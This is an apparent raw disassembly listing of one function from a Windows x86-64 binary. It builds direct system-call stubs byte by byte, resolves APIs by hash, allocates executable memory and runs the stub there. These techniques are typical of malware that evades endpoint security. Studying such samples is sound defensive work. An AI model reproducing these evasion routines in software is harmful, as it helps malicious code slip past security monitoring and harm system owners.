mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x1ebc]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x1ec0]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x1ec4]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x1ec8]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1ecc]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x1ed0]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x1ed4]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1ed8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1edc]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1ee0]
lea r8, [rsp + 0x1ee4]
lea rdx, [rsp + 0x1ee8]
mov rcx, qword [rsp + 0x9140]
call fcn.14008f900
mov byte [rsp + 0x2aa], 1
mov byte [rsp + 0x2ab], 0
movsxd rax, dword [rsp + 0x1eec]
mov qword [rsp + 0x92b8], rax
mov byte [rsp + 0x2ac], 0
mov byte [rsp + 0x2ad], 0
mov rax, qword [rsp + 0x9148]
mov qword [rsp + 0x92c0], rax
mov byte [rsp + 0x2ae], 0
mov byte [rsp + 0x2af], 1
mov rax, qword [rsp + 0x9150]
mov qword [rsp + 0x92c8], rax
mov byte [rsp + 0x2b0], 0
mov byte [rsp + 0x2b1], 0
mov rax, qword [rsp + 0x9158]
mov qword [rsp + 0x92d0], rax
mov byte [rsp + 0x2b2], 0
mov byte [rsp + 0x2b3], 1
mov eax, dword [0x1403f9fa8]
mov qword [rsp + 0x92d8], rax
mov byte [rsp + 0x2b4], 0
mov byte [rsp + 0x2b5], 0
mov rax, qword [rsp + 0x9160]
mov qword [rsp + 0x92e0], rax
mov byte [rsp + 0x2b6], 0
mov byte [rsp + 0x2b7], 0
mov rax, qword [rsp + 0x9168]
mov qword [rsp + 0x92e8], rax
mov byte [rsp + 0x2b8], 0
mov byte [rsp + 0x2b9], 0
mov rax, qword [rsp + 0x9170]
mov qword [rsp + 0x92f0], rax
mov byte [rsp + 0x2ba], 0
mov byte [rsp + 0x2bb], 0
mov rax, qword [rsp + 0x9178]
mov qword [rsp + 0x92f8], rax
mov byte [rsp + 0x2bc], 0
mov byte [rsp + 0x2bd], 0
mov rax, qword [rsp + 0x9180]
mov qword [rsp + 0x9300], rax
mov eax, dword [rsp + 0x6488]
mov dword [rsp + 0x1ef0], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xeea0]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9188], rax
lea r8, [rsp + 0x1ef0]
lea rdx, [rsp + 0x57a8]
mov rcx, qword [rsp + 0x9188]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9190], rax
lea rdx, [rsp + 0x10f50]
mov rcx, qword [rsp + 0x9190]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x57a8]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x1401322b0
mov qword [rsp + 0x57b0], 0
jmp 0x1401322c9
lea rcx, [rsp + 0x57a8]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x57b0], rax
mov rax, qword [rsp + 0x57b0]
mov qword [rsp + 0x9198], rax
lea rcx, [rsp + 0xeea0]
call fcn.1400a0f10
mov rax, qword [rsp + 0x9198]
mov qword [rsp + 0x57b8], rax
cmp qword [rsp + 0x57b8], 0
je 0x140132326
mov rax, qword [rsp + 0x57b8]
mov eax, dword [rax + 4]
mov dword [rsp + 0x1ef8], eax
mov eax, dword [rsp + 0x1ef8]
mov dword [rsp + 0x648c], eax
jmp 0x140132db4
lea rax, [rsp + 0xd028]
mov qword [rsp + 0x91a0], rax
xor edx, edx
mov rcx, qword [rsp + 0x91a0]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1efc], eax
lea rax, [rsp + 0xd02c]
mov qword [rsp + 0x91a8], rax
mov edx, dword [rsp + 0x6488]
mov rcx, qword [rsp + 0x91a8]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1f00], eax
mov eax, dword [rsp + 0x1efc]
mov dword [rsp + 0x9f0], eax
mov eax, dword [rsp + 0x1f00]
mov dword [rsp + 0xa08], eax
xor edx, edx
lea rcx, [rsp + 0x1f04]
call fcn.14009b2f0
lea rdx, [rsp + 0x1f04]
lea rcx, [rsp + 0xa08]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x1401323d3
mov qword [rsp + 0x12c8], 0
jmp 0x140132cd2
mov byte [rsp + 0x2be], 1
mov qword [rsp + 0x6e40], 0
mov qword [rsp + 0x6e48], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x3e20], rax
mov eax, 1
test eax, eax
je 0x140132425
mov rax, qword [rsp + 0x3e20]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x57c0], rax
jmp 0x140132438
mov rax, qword [rsp + 0x3e20]
mov rax, qword [rax]
mov qword [rsp + 0x57c0], rax
mov rax, qword [rsp + 0x57c0]
mov qword [rsp + 0x6e40], rax
mov rax, qword [rsp + 0x3e20]
mov qword [rsp + 0x6e48], rax
lea rax, [rsp + 0x6e40]
mov qword [rsp + 0x57c8], rax
lea rdx, [rsp + 0x12c0]
mov rcx, qword [rsp + 0x57c8]
call fcn.14018efb0
lea rdx, [rsp + 0x91b0]
mov rcx, qword [rsp + 0x57c8]
call fcn.140190a30
jmp 0x1401324a7
mov rax, qword [rsp + 0x12c0]
mov rax, qword [rax]
mov qword [rsp + 0x12c0], rax
mov rax, qword [rsp + 0x91b0]
cmp qword [rsp + 0x12c0], rax
je 0x1401324c6
mov dword [rsp + 0x9ec], 1
jmp 0x1401324d1
mov dword [rsp + 0x9ec], 0
movzx eax, byte [rsp + 0x9ec]
test eax, eax
je 0x140132cc6
xor edx, edx
mov rcx, qword [rsp + 0x12c0]
call fcn.140096d90
mov qword [rsp + 0x91b8], rax
lea rax, [rsp + 0x91b8]
mov qword [rsp + 0x57d0], rax
xor edx, edx
lea rcx, [rsp + 0x1f08]
call fcn.14009b2f0
lea rdx, [rsp + 0x1f08]
lea rcx, [rsp + 0x9f0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140132771
mov rax, qword [rsp + 0x57d0]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x91c0], rax
lea rdx, [rsp + 0x12618]
mov rcx, qword [rsp + 0x91c0]
call fcn.14019acf0
lea rcx, [rsp + 0xeeb0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x9f0]
mov dword [rsp + 0x1f0c], eax
lea rax, [rsp + 0xd260]
lea rcx, [rsp + 0xeeb0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x1f0c]
mov dword [rsp + 0x9f8], eax
lea rax, [rsp + 0x1f10]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1f10]
call fcn.14009b310
mov qword [rsp + 0x91c8], rax
lea rax, [rsp + 0xeec0]
lea rcx, [rsp + 0xd260]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xeed0]
lea rcx, [rsp + 0xeec0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xeed0]
mov rcx, qword [rsp + 0x91c8]
call fcn.140097890
mov dword [rsp + 0x1f18], eax
lea rcx, [rsp + 0xd260]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0x91d0], rax
mov r9, qword [rsp + 0x91d0]
xor r8d, r8d
lea rdx, [rsp + 0xeee0]
lea rcx, [rsp + 0xd260]
call fcn.14019ab70
lea rax, [rsp + 0x1f14]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1f14]
call fcn.14009b310
mov qword [rsp + 0x91d8], rax
lea rax, [rsp + 0xeef0]
lea rcx, [rsp + 0xeee0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xef00]
lea rcx, [rsp + 0xeef0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xef00]
mov rcx, qword [rsp + 0x91d8]
call fcn.140097890
mov dword [rsp + 0x1f20], eax
mov edx, dword [rsp + 0x1f18]
lea rcx, [rsp + 0x1f1c]
call fcn.14009b2f0
lea rdx, [rsp + 0x1f1c]
lea rcx, [rsp + 0x9f8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140132755
mov edx, dword [rsp + 0x1f20]
lea rcx, [rsp + 0x1f24]
call fcn.14009b2f0
lea rdx, [rsp + 0x1f24]
lea rcx, [rsp + 0x9f8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140132755
mov dword [rsp + 0xa00], 1
jmp 0x140132760
mov dword [rsp + 0xa00], 0
movzx eax, byte [rsp + 0xa00]
test eax, eax
je 0x140132771
jmp 0x140132494
mov rax, qword [rsp + 0x57d0]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x57d8], rax
mov rax, qword [rsp + 0x57d8]
mov qword [rsp + 0x4428], rax
mov rax, qword [rsp + 0x57d8]
mov qword [rsp + 0x91e0], rax
mov rax, qword [rsp + 0x91e0]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x91e8], rax
mov rax, qword [rsp + 0x91e8]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x91f0], rax
mov eax, dword [rsp + 0x91f0]
add rax, qword [rsp + 0x4428]
mov qword [rsp + 0x91f8], rax
mov rax, qword [rsp + 0x91f8]
mov qword [rsp + 0x4430], rax
lea rdx, [rsp + 0xa08]
lea rcx, [rsp + 0xd030]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11c78]
lea rcx, [rsp + 0x4428]
call fcn.140097040
lea rdx, [rsp + 0x137b8]
lea rcx, [rsp + 0x4428]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11c78]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x14013285d
jmp 0x140132494
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x1401328e0
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11c88]
mov qword [rsp + 0x57e0], rax
mov rcx, qword [rsp + 0x57e0]
call fcn.140097960
mov qword [rsp + 0x11570], rax
mov rcx, qword [rsp + 0x57e0]
call fcn.140097950
mov qword [rsp + 0x3e30], rax
mov rax, qword [rsp + 0x3e30]
mov rax, qword [rax]
mov qword [rsp + 0x57f8], rax
mov rax, qword [rsp + 0x4428]
mov qword [rsp + 0x9200], rax
mov rax, qword [rsp + 0x9200]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x9208], rax
mov rax, qword [rsp + 0x9208]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x57e8], rax
mov eax, dword [rsp + 0x57e8]
add rax, qword [rsp + 0x4428]
mov qword [rsp + 0x57f0], rax
mov eax, dword [rsp + 0x57ec]
mov rcx, qword [rsp + 0x57f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9210], rax
mov rax, qword [rsp + 0x57f0]
cmp qword [rsp + 0x57f8], rax
jb 0x1401329d2
mov rax, qword [rsp + 0x9210]
cmp qword [rsp + 0x57f8], rax
jae 0x1401329d2
mov dword [rsp + 0xa10], 1
jmp 0x1401329dd
mov dword [rsp + 0xa10], 0
movzx eax, byte [rsp + 0xa10]
mov byte [rsp + 0xe9], al
movzx eax, byte [rsp + 0xe9]
test eax, eax
je 0x140132cac
mov rax, qword [rsp + 0x3e30]
mov rax, qword [rax]
mov qword [rsp + 0x9218], rax
mov rax, qword [rsp + 0x9218]
mov qword [rsp + 0x9220], rax
lea rax, [rsp + 0x12628]
mov qword [rsp + 0x9228], rax
mov rdx, qword [rsp + 0x9220]
mov rcx, qword [rsp + 0x9228]
call fcn.140095590
lea rcx, [rsp + 0x6e50]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6e50]
call fcn.140191090
mov qword [rsp + 0x3e28], rax
cmp qword [rsp + 0x3e28], 0xffffffffffffffff
je 0x140132ae7
mov r9, qword [rsp + 0x3e28]
xor r8d, r8d
lea rdx, [rsp + 0xef20]
lea rcx, [rsp + 0x6e50]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3e28]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xef10]
lea rcx, [rsp + 0x6e50]
call fcn.14019aaa0
lea r8, [rsp + 0xef10]
lea rdx, [rsp + 0xef20]
lea rcx, [rsp + 0x11110]
call fcn.14008f7e0
jmp 0x140132b22
lea rax, [rsp + 0x6e50]
mov qword [rsp + 0x9230], rax
lea rcx, [rsp + 0xef30]
call fcn.140099fb0
lea r8, [rsp + 0xef30]
mov rdx, qword [rsp + 0x9230]
lea rcx, [rsp + 0x11110]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x11110]
call fcn.140097960
mov qword [rsp + 0x9238], rax
lea rcx, [rsp + 0x11110]
call fcn.140097950
mov qword [rsp + 0x9250], rax
lea rax, [rsp + 0xd034]
mov qword [rsp + 0x9248], rax
lea rax, [rsp + 0x1f28]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1f28]
call fcn.14009b310
mov qword [rsp + 0x9240], rax
lea rax, [rsp + 0xef40]
mov rdi, rax
mov rsi, qword [rsp + 0x9238]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xef50]
lea rcx, [rsp + 0xef40]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xef50]
mov rcx, qword [rsp + 0x9240]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x9248]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1f30], eax
lea rax, [rsp + 0xd038]
mov qword [rsp + 0x9260], rax
lea rax, [rsp + 0x1f2c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1f2c]
call fcn.14009b310
mov qword [rsp + 0x9258], rax
lea rax, [rsp + 0xef60]
mov rdi, rax
mov rsi, qword [rsp + 0x9250]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xef70]
lea rcx, [rsp + 0xef60]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xef70]
mov rcx, qword [rsp + 0x9258]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x9260]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1f34], eax
mov r8d, dword [rsp + 0x1f30]
mov edx, dword [rsp + 0x1f34]
lea rcx, [rsp + 0x3e38]
call fcn.140191150
mov qword [rsp + 0x12c8], rax
jmp 0x140132cd2
mov rax, qword [rsp + 0x3e30]
mov rax, qword [rax]
mov qword [rsp + 0x12c8], rax
jmp 0x140132cd2
mov qword [rsp + 0x12c8], 0
mov rax, qword [rsp + 0x12c8]
mov qword [rsp + 0x3e38], rax
lea rcx, [rsp + 0x3e38]
call fcn.1400a2c10
mov qword [rsp + 0x9268], rax
mov eax, dword [rsp + 0x6488]
mov dword [rsp + 0x1f38], eax
mov rax, qword [rsp + 0x9268]
mov qword [rsp + 0x9270], rax
mov eax, dword [rsp + 0x1f38]
mov dword [rsp + 0x1f40], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xef80]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9278], rax
lea r9, [rsp + 0x9270]
lea r8, [rsp + 0x1f40]
lea rdx, [rsp + 0x12638]
mov rcx, qword [rsp + 0x9278]
call fcn.140098320
lea rcx, [rsp + 0xef80]
call fcn.1400a0f80
lea rcx, [rsp + 0x3e38]
call fcn.1400a2c10
mov qword [rsp + 0x9280], rax
mov rax, qword [rsp + 0x9280]
mov eax, dword [rax + 4]
mov dword [rsp + 0x1f48], eax
mov eax, dword [rsp + 0x1f48]
mov dword [rsp + 0x648c], eax
lea rax, [rsp + 0x6490]
mov qword [rsp + 0x9288], rax
mov eax, dword [rsp + 0x648c]
mov dword [rsp + 0x1f50], eax
mov rax, qword [rsp + 0x9288]
add rax, 0x11
mov qword [rsp + 0x9290], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0x9290]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x1f50]
mov dword [rax], ecx
lea rax, [rsp + 0x6490]
mov qword [rsp + 0x5e8], rax
mov rax, qword [rsp + 0x5e8]
add rax, 0x10
mov qword [rsp + 0x11578], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0x9298], rax
mov qword [rsp + 0x5800], 0
mov qword [rsp + 0x92a0], 0xd
mov rax, qword [rsp + 0x9298]
mov qword [rsp + 0x92a8], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x92a0]
xor r8d, r8d
lea rdx, [rsp + 0x5800]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0x92a8]
mov dword [rsp + 0x1f58], eax
cmp dword [rsp + 0x1f58], 0
jl 0x140132eb6
mov rax, qword [rsp + 0x5800]
mov qword [rsp + 0x5808], rax
jmp 0x140132ec2
mov qword [rsp + 0x5808], 0
mov rax, qword [rsp + 0x5808]
mov qword [rsp + 0x92b0], rax
mov rax, qword [rsp + 0x5e8]
mov rcx, qword [rsp + 0x92b0]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x5e8]
cmp qword [rax + 8], 0
jne 0x140132ef7
jmp 0x140132f3b
mov rax, qword [rsp + 0x5e8]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x5e8]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x5e8]
mov rcx, qword [rsp + 0x5e8]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6490]
mov qword [rsp + 0x9308], rax
mov rax, qword [rsp + 0x92b8]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x92c0]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x92c8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x92d0]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x92d8]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x92e0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x92e8]
mov r8, qword [rsp + 0x92f0]
mov rdx, qword [rsp + 0x92f8]
mov rcx, qword [rsp + 0x9300]
call qword [rsp + 0x9308]
mov dword [rsp + 0x1f5c], eax
lea rcx, [rsp + 0x6488]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x1f5c]
mov dword [rsp + 0x1f60], eax
cmp dword [rsp + 0x1f60], 0
jge 0x140132ff6
mov byte [rsp + 0x80], 0
jmp 0x140132ffe
mov byte [rsp + 0x80], 1
movzx eax, byte [rsp + 0x80]
test eax, eax
jne 0x140133017
mov dword [rsp + 0x74], 0
jmp 0x1401344d1
mov eax, dword [rsp + 0x3e40]
mov qword [rsp + 0x5810], rax
mov eax, dword [rsp + 0x3e44]
mov qword [rsp + 0x5818], rax
cmp qword [rsp + 0x5810], 0
je 0x14013304b
cmp qword [rsp + 0x5818], 0
jne 0x140133058
mov dword [rsp + 0x74], 0
jmp 0x1401344d1
lea rdx, [0x1403fa920]
lea rcx, [rsp + 0x11a90]
call fcn.14006f790
nop
lea rcx, [rsp + 0x11a90]
call fcn.1400f6a60
mov qword [rsp + 0x3e68], rax
lea rcx, [rsp + 0x11a90]
call fcn.140072190
lea rdx, [0x1403fa920]
lea rcx, [rsp + 0x11a30]
call fcn.14006f790
nop
lea rcx, [rsp + 0x11a30]
call fcn.14010cb80
mov dword [rsp + 0xa3c], eax
lea rcx, [rsp + 0x11a30]
call fcn.140072190
lea rdx, str.hal.dll
lea rcx, [rsp + 0x119d0]
call fcn.14006f790
nop
lea rcx, [rsp + 0x119d0]
call fcn.1400f6a60
mov qword [rsp + 0x3e70], rax
lea rcx, [rsp + 0x119d0]
call fcn.140072190
lea rdx, str.hal.dll
lea rcx, [rsp + 0x119f0]
call fcn.14006f790
nop
lea rcx, [rsp + 0x119f0]
call fcn.14010cb80
mov dword [rsp + 0xa44], eax
lea rcx, [rsp + 0x119f0]
call fcn.140072190
cmp qword [rsp + 0x3e68], 0
je 0x14013315c
cmp dword [rsp + 0xa3c], 0
je 0x14013315c
cmp qword [rsp + 0x3e70], 0
je 0x14013315c
cmp dword [rsp + 0xa44], 0
jne 0x140133169
mov dword [rsp + 0x74], 0
jmp 0x1401344d1
mov rax, qword [rsp + 0x5810]
mov rcx, qword [rsp + 0x5f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9310], rax
mov qword [rsp + 0x12d0], 0
jmp 0x1401331a8
mov rax, qword [rsp + 0x12d0]
inc rax
mov qword [rsp + 0x12d0], rax
xor edx, edx
mov rax, qword [rsp + 0x5818]
mov ecx, 8
div rcx
cmp qword [rsp + 0x12d0], rax
jae 0x1401344c6
mov qword [rsp + 0x600], 0
lea rax, [rsp + 0x600]
mov qword [rsp + 0x5828], rax
mov rax, qword [rsp + 0x9310]
mov rcx, qword [rsp + 0x12d0]
lea rax, [rax + rcx*8]
mov qword [rsp + 0x5820], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x9358], rax
cmp qword [rsp + 0x5828], 0
je 0x14013322e
cmp qword [rsp + 0x5820], 0
je 0x14013322e
xor eax, eax
cmp rax, 8
jne 0x14013323b
mov byte [rsp + 0x81], 0
jmp 0x14013439a
lea rax, [rsp + 0xd908]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov qword [rsp + 0xd908], 0x33
mov rax, qword [rsp + 0x5820]
mov qword [rsp + 0xd918], rax
mov rax, qword [rsp + 0x5828]
mov qword [rsp + 0xd920], rax
mov qword [rsp + 0xd928], 8
mov dword [rsp + 0x1fa4], 0
mov qword [rsp + 0x9320], 0
mov qword [rsp + 0x9328], 0x28
lea rax, [rsp + 0xd908]
mov qword [rsp + 0x9330], rax
lea rax, [rsp + 0x12648]
mov qword [rsp + 0x9338], rax
mov qword [rsp + 0x9340], 0
mov qword [rsp + 0x9348], 0
mov qword [rsp + 0x9350], 0
mov dword [rsp + 0x1f64], 0x9363e455
mov eax, dword [rsp + 0x1f64]
mov dword [rsp + 0x1f68], eax
lea rcx, [rsp + 0x1f68]
call fcn.1400a2c20
mov dword [rsp + 0x64b0], eax
mov dword [rsp + 0x64b4], 0
lea rax, [rsp + 0x64b8]
mov qword [rsp + 0x9318], rax
mov dword [rsp + 0x1fa0], 0x49
mov dword [rsp + 0x1f9c], 0x89
mov dword [rsp + 0x1f98], 0xca
mov dword [rsp + 0x1f94], 0x48
mov dword [rsp + 0x1f90], 0xc7
mov dword [rsp + 0x1f8c], 0xc0
mov dword [rsp + 0x1f88], 0x3f
mov dword [rsp + 0x1f84], 0x10
mov dword [rsp + 0x1f80], 0
mov dword [rsp + 0x1f7c], 0
mov dword [rsp + 0x1f78], 0xf
mov dword [rsp + 0x1f74], 5
mov dword [rsp + 0x1f70], 0xc3
lea rax, [rsp + 0x1f70]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x1f74]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x1f78]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x1f7c]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x1f80]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1f84]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x1f88]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x1f8c]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1f90]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1f94]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1f98]
lea r8, [rsp + 0x1f9c]
lea rdx, [rsp + 0x1fa0]
mov rcx, qword [rsp + 0x9318]
call fcn.14008f900
mov byte [rsp + 0x2bf], 1
mov byte [rsp + 0x2c0], 0
movsxd rax, dword [rsp + 0x1fa4]
mov qword [rsp + 0x9490], rax
mov byte [rsp + 0x2c1], 0
mov byte [rsp + 0x2c2], 0
mov rax, qword [rsp + 0x9320]
mov qword [rsp + 0x9498], rax
mov byte [rsp + 0x2c3], 0
mov byte [rsp + 0x2c4], 1
mov rax, qword [rsp + 0x9328]
mov qword [rsp + 0x94a0], rax
mov byte [rsp + 0x2c5], 0
mov byte [rsp + 0x2c6], 0
mov rax, qword [rsp + 0x9330]
mov qword [rsp + 0x94a8], rax
mov byte [rsp + 0x2c7], 0
mov byte [rsp + 0x2c8], 1
mov eax, dword [0x1403f9fa8]
mov qword [rsp + 0x94b0], rax
mov byte [rsp + 0x2c9], 0
mov byte [rsp + 0x2ca], 0
mov rax, qword [rsp + 0x9338]
mov qword [rsp + 0x94b8], rax
mov byte [rsp + 0x2cb], 0
mov byte [rsp + 0x2cc], 0
mov rax, qword [rsp + 0x9340]
mov qword [rsp + 0x94c0], rax
mov byte [rsp + 0x2cd], 0
mov byte [rsp + 0x2ce], 0
mov rax, qword [rsp + 0x9348]
mov qword [rsp + 0x94c8], rax
mov byte [rsp + 0x2cf], 0
mov byte [rsp + 0x2d0], 0
mov rax, qword [rsp + 0x9350]
mov qword [rsp + 0x94d0], rax
mov byte [rsp + 0x2d1], 0
mov byte [rsp + 0x2d2], 0
mov rax, qword [rsp + 0x9358]
mov qword [rsp + 0x94d8], rax
mov eax, dword [rsp + 0x64b0]
mov dword [rsp + 0x1fa8], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xef90]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9360], rax
lea r8, [rsp + 0x1fa8]
lea rdx, [rsp + 0x5830]
mov rcx, qword [rsp + 0x9360]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9368], rax
lea rdx, [rsp + 0x11580]
mov rcx, qword [rsp + 0x9368]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x5830]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x14013364c
mov qword [rsp + 0x5838], 0
jmp 0x140133665
lea rcx, [rsp + 0x5830]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x5838], rax
mov rax, qword [rsp + 0x5838]
mov qword [rsp + 0x9370], rax
lea rcx, [rsp + 0xef90]
call fcn.1400a0f10
mov rax, qword [rsp + 0x9370]
mov qword [rsp + 0x5840], rax
cmp qword [rsp + 0x5840], 0
je 0x1401336c2
mov rax, qword [rsp + 0x5840]
mov eax, dword [rax + 4]
mov dword [rsp + 0x1fb0], eax
mov eax, dword [rsp + 0x1fb0]
mov dword [rsp + 0x64b4], eax
jmp 0x140134150
lea rax, [rsp + 0xd03c]
mov qword [rsp + 0x9378], rax
xor edx, edx
mov rcx, qword [rsp + 0x9378]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1fb4], eax
lea rax, [rsp + 0xd040]
mov qword [rsp + 0x9380], rax
mov edx, dword [rsp + 0x64b0]
mov rcx, qword [rsp + 0x9380]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1fb8], eax
mov eax, dword [rsp + 0x1fb4]
mov dword [rsp + 0xa18], eax
mov eax, dword [rsp + 0x1fb8]
mov dword [rsp + 0xa30], eax
xor edx, edx
lea rcx, [rsp + 0x1fbc]
call fcn.14009b2f0
lea rdx, [rsp + 0x1fbc]
lea rcx, [rsp + 0xa30]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x14013376f
